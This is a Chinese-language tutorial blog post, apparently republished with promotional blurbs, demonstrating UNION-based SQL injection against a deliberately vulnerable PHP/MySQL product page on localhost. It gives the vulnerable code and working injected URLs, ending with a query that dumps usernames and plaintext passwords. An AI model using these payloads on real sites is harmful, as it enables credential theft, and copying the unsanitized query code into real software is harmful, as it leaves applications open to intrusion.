本篇文章介绍的内容是一个PHP的SQL注入完整过程,现在分享给大家,有需要的朋友可以参考一下

希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处

学了SQL注入的一些技能后,以下正对PHP+MYSQL进行SQL注入的简单实践

首先观察两个MYSQL数据表

用户记录表:

REATE TABLE `php_user` (

`id` int(11) NOT NULL auto_increment,

`username` varchar(20) NOT NULL default '',

`password` varchar(20) NOT NULL default '',

`userlevel` char(2) NOT NULL default '0',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_user` VALUES (1, 'seven', 'seven_pwd', '10');

INSERT INTO `php_user` VALUES (2, 'swons', 'swons_pwd', '');

产品记录列表:

CREATE TABLE `php_product` (

`id` int(11) NOT NULL auto_increment,

`name` varchar(100) NOT NULL default '',

`price` float NOT NULL default '0',

`img` varchar(200) NOT NULL default '',

PRIMARY KEY (`id`)

) TYPE=MyISAM AUTO_INCREMENT=3 ;

INSERT INTO `php_product` VALUES (1, 'name_1', 12.2, 'images/name_1.jpg');

INSERT INTO `php_product` VALUES (2, 'name_2', 35.25, 'images/name_2.jpg');

以下文件是show_product.php用于显示产品列表。SQL注入也是利用此文件的SQL语句漏洞

<?php

$conn = mysql_connect("localhost", "root", "root");

if(!$conn){

echo "数据库联接错误";

exit;

}

if (!mysql_select_db("phpsql")) {

echo "选择数据库出错" . mysql_error();

exit;

}

$tempID=$_GET['id'];

if($tempID<=0 || !isset($tempID)) $tempID=1;

$sql = "SELECT * FROM php_product WHERE id =$tempID";

echo $sql.'<br>';

$result = mysql_query($sql);

if (!$result) {

echo "查询出错" . mysql_error();

exit;

}

if (mysql_num_rows($result) == 0) {

echo "没有查询结果";

exit;

}

while ($row = mysql_fetch_assoc($result)) {

echo 'ID:'.$row["id"].'<br>';

echo 'name:'.$row["name"].'<br>';

echo 'price:'.$row["price"].'<br>';

echo 'image:'.$row["img"].'<br>';

}

?>

观察此语句:$sql = "SELECT * FROM php_product WHERE id =$tempID";

$tempID是从$_GET得到。我们可以构造这个变量的值,从而达到SQL注入的目的

分别构造以下链接:

1、 http://localhost/phpsql/index.php?id=1

得到以下输出

SELECT * FROM php_product WHERE id =1 //当前执行的SQL语句

//得到ID为1的产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

2、 http://localhost/phpsql/index.php?id=1 or 1=1

得到输出

SELECT * FROM php_product WHERE id =1 or 1=1 //当前执行的SQL语句

//一共两条产品资料列表

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:2

name:name_2

price:35.25

image:images/name_2.jpg

1和2都得到资料列表输出,证明SQL语句执行成功

3、判断数据表字段数量

http://localhost/phpsql/index.php?id=1 union select 1,1,1,1

得到输出

SELECT * FROM php_product WHERE id =1 union select 1,1,1,1 //当前执行的SQL语句

//一共两条记录,注意第二条的记录为全1,这是union select联合查询的结果。

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:1

name:1

price:1

image:1

4、判断数据表字段类型

http://localhost/phpsql/index.php?id=1 union select char(65),char(65),char(65),char(65)

得到输出

SELECT * FROM php_product WHERE id =1 union select char(65),char(65),char(65),char(65)

ID:1

name:name_1

price:12.2

image:images/name_1.jpg

ID:0

name:A

price:0

image:A

注意第二条记录,如果后面的值等于A,说明这个字段与union查询后面构造的字段类型相符。此时union后面

为char(65),表示字符串类型。经过观察。可以发现name字段和image字段的类型都是字符串类型

5、大功告成,得到我们想要的东西:

http://localhost/phpsql/index.php?id=10000 union select 1,username,1,password from php_user

得到输出:

SELECT * FROM php_product WHERE id =10000 union select 1,username,1,password from php_user

//输出了两条用户资料,name为用户名称,image为用户密码。

ID:1

name:seven

price:1

image:seven_pwd

ID:1

name:swons

price:1

image:swons_pwd

注意URL中的ID=10000是为了不得到产品资料,只得到后面union的查询结果。更具实际情况ID的值有所不同

union的username和password必须放在2和4的位置上。这样才能和前面的select语句匹配。这是union查询

语句的特点

备注:

这个简单的注入方法是更具特定环境的。实际中比这复杂。但是原理是相同的。

以上内容希望帮助到大家,很多PHPer在进阶的时候总会遇到一些问题和瓶颈,业务代码写多了没有方向感,不知道该从那里入手去提升,对此我整理了一些资料,包括但不限于:分布式架构、高可扩展、高性能、高并发、服务器性能调优、TP6,laravel,YII2,Redis,Swoole、Swoft、Kafka、Mysql优化、shell脚本、Docker、微服务、Nginx等多个知识点高级进阶干货需要的可以免费分享给大家,需要的可以加入我的官方群点击此处

一个PHP的SQL注入完整过程的更多相关文章

  1. DAY5 php + mysql 写一个简单的sql注入平台

    php mysql 在浏览器输入用户名,去数据库查询.查到则显示在浏览器,查不到则显示空. sql 里面三个字段 id username password create table t1 (id in ...

  2. python打造一个分析网站SQL注入的脚本

    前言: 昨天晚上其实就已经写完代码.只不过向FB投稿了,打算延迟一晚上在写博客 所有才到今天早上写.好了,接下来进入正题. 思路: 1.从网站源码中爬取那些类适于:http://xxx.com/xx. ...

  3. Mybatis执行SQL的完整过程及四大组件介绍

    一切的执行从MapperProxy开始,MapperProxy是MapperProxyFactory使用SqlSession创建出来的.所以MapperProxy中包含SqlSession. 可以看到 ...

  4. 《Web安全攻防渗透测试实战指南》 各类型 SQL注入 实验过程整理

    Union注入 https://www.jianshu.com/p/8a11bf55aaee Boolean注入 https://www.jianshu.com/p/e4086f59812d 报错注入 ...

  5. 实例讲解 SQL 注入攻击

    这是一篇讲解SQL注入的实例文章,一步一步跟着作者脚步探索如何注入成功,展现了一次完整的渗透流程,值得一读.翻译水平有限,见谅! 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试. ...

  6. 开发反模式 - SQL注入

    一.目标:编写SQL动态查询 SQL常常和程序代码一起使用.我们通常所说的SQL动态查询,是指将程序中的变量和基本SQL语句拼接成一个完整的查询语句. string sql = SELECT * FR ...

  7. SQL注入之代码层防御

    [目录] 0x0 前言 0x1 领域驱动的安全 1.1 领域驱动的设计 1.2 领域驱动的安全示例 0x2 使用参数化查询 2.1 参数化查询 2.2 Java中的参数化语句 2.3 .NET(C#) ...

  8. MSSQL SQL注入 总结

    0x00 MSSQL 基础 MSSQL系统自带库和表 系统自带库 MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb:2个示例库:Northwind ...

  9. SQL注入—我是如何一步步攻破一家互联网公司的

    最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...

随机推荐

  1. 【Go语言系列】2.2、Go语言基本程序结构:关键字与标识符

    什么是标识符 标识符用来命名变量.类型等程序实体.标识符是指Go语言对各种变量.方法.函数等命名时使用的字符序列,标识符由若干个字母.下划线_.和数字组成,且第一个字符必须是字母.通俗的讲就是凡可以自 ...

  2. i春秋-百度杯九月场-YeserCMS(cmseasy的UpdateXML注入漏洞)

    学习了大佬们的操作才做出来,记录一次菜鸡的无能为力. tips:flag在网站根目录下的flag.php中.我们的目标就是flag.php了. 题目说是心的CMS:YeserCMS,然而百度一下,出来 ...

  3. 无线渗透--wifiphisher之wifi钓鱼获取wifi密码

    本来是想试验一下暴力破解的,但是由于字典太大,跑的时间也比较长,于是使用了钓鱼的方法. 先说一下wifiphisher钓鱼获取wifi密码的原理: wifiphisher对于你在攻击中选定的wifi会 ...

  4. LoadRunner之Block

    如何在一个脚本中实现不同事务不同次数的循环呢? 案例:假如你想在一个脚本中,实现登录执行1次,查询执行2次,插入执行3次,怎么办?录3个脚本?每个事务分别在脚本中复制N次? 当然不用,LR早就想到了你 ...

  5. (实例)Linux 内核添加exfat驱动

    背景: 由于exfat是常用的文件系统格式,而Linux由于版权的问题,没有在官方中添加有关的驱动. 但是 微软也同意开源了,所以比较新的 Linux 会支持这一块. 为了支持exfat的驱动,我们需 ...

  6. 在 Rolling Update 中使用 Health Check【转】

    上一节讨论了 Health Check 在 Scale Up 中的应用,Health Check 另一个重要的应用场景是 Rolling Update.试想一下下面的情况: 现有一个正常运行的多副本应 ...

  7. shell-Startup-Files

    shell-Startup-Files 1. 相关阅读 2. 主流shell 3. shell实例类型 4. Shell启动文件的必要元素 4.1 路径: 命令路径, 4.2 提示符 5. 主流she ...

  8. Day6-T4

    原题目 Describe:差分约束模板题吧...LG上竟然是省选+ code: #include<bits/stdc++.h> #define INF 214748364 using na ...

  9. Java虚拟机05.1(各种环境下jvm的参数如何调整?)

    cmd下 eclipse下 tomcat下 cmd下指定jvm参数 在cmd下执行Java程序可以通过如下方式之地需要配置的Java 虚拟机参数: 这里只是指定了对初始为2M,新生代为1M,堆最大值为 ...

  10. C# enable为false时不变颜色

            [System.Runtime.InteropServices.DllImport("user32.dll ")]         public static ex ...